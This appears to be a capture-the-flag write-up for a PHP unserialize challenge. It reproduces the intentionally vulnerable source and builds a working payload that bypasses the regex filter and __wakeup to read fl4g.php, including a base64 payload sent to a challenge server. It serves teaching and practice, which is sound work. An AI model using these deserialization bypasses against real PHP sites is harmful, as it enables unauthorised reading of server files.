catalogue
A web advanced problem from the attack and defense world is called Web_php_unserialize
The title gives a php code, which should be part of the background source code:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file;//Assign the file name of the file variable to the file of the current class. When the instantiated object of this class is deconstructed, the file of the object is the file assigned at this time } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
This question examines deserialization, and the flag is in fl4g.php according to the prompt
Train of thought analysis
Therefore, the idea is to instantiate an object whose file value is fl4g.php, then serialize it (encrypted by base64) and pass it to the var variable in the background. After regular filtering in the background, it will be deserialized. At the beginning of deserialization, it will be called__ Wakeup magic method, which defines the wakeup method to prevent us from accessing fl4g, so it also needs to be bypassed. When the instantiated object of this class is deconstructed, the file of the object is fl4g.php
payload
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a=new Demo('fl4g.php'); $b= serialize($a); echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
Run php results
-
Bypass preg_match
if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); }
./[oc]:\d+:/i
Regular expression is a logical formula for string operation, which uses some specific characters defined in advance and the combination of these specific characters to form a "regular string". This "regular string" is used to express a filtering logic for strings
\d: Matches a numeric character. Equivalent to [0-9].
+: matches the previous subexpression one or more times. For example, 'zo +' can match "zo" and "zoo", but not "z".
/i: Indicates that matching is case insensitive
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
-
Bypass__ wakeup
function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; }
When the number of attributes in the serialization is greater than the actual number of attributes, the wakeup magic function can be skipped
Because the object has only one real attribute file and is private decorated, we can change the number of attributes to 2 or any number greater than 1__ wakeup failure
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Write payload
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a=new Demo('fl4g.php'); $b= serialize($a); echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} echo '</br>'; $b=str_replace('O:4','O:+4',$b); echo '</br>'; echo $b; $b=str_replace(':1:',':2:',$b); echo '</br>'; echo $b; echo '</br>'; echo base64_encode($b); ?>
demo_func_string_serialize online code example_ w3cschool Web address for running PHP Online
Fill in payload
http://111.200.241.244:49499/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
Get the flag
Pay attention to the details
Note: the serialized attribute names of attributes with different modifiers are different
When the public attribute is serialized, the attribute name does not change
When the protected attribute is serialized, the attribute name will become \ x00*\x00 attribute name
When the private attribute is serialized, the attribute name will become \ x00 class name \ x00 attribute name
Where: \ x00 represents a null character, but it still occupies a character position
This is why the attribute file in the serialized string after serialize($a) in the payload above becomes Demofile with a length of 10 It's actually \ x00Demo\x00file Demo is the class name and file is the attribute name
In particular, because the browser will automatically decode \ x00, the final serialization result you see is O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}. You don't see \ x00, but the actual base64 encoding needs to be added with \ x00, so the last base64 encoding needs to use php function to be effective (simply speaking, it is used in php environment)
If you use other software base64 encoding, the serialized string after url decoding (O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}) is not \ x00; However, you can use bp's Decoder module to encode. Add the null character 00 before and after the Demo in O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} as follows:
Add a 00 byte before D and a 00 byte after O
In this way, only after base64 encryption is the correct payload, otherwise the payload without / x00 cannot be used
Some reference links: https://blog.csdn.net/qq_41617034/article/details/104573548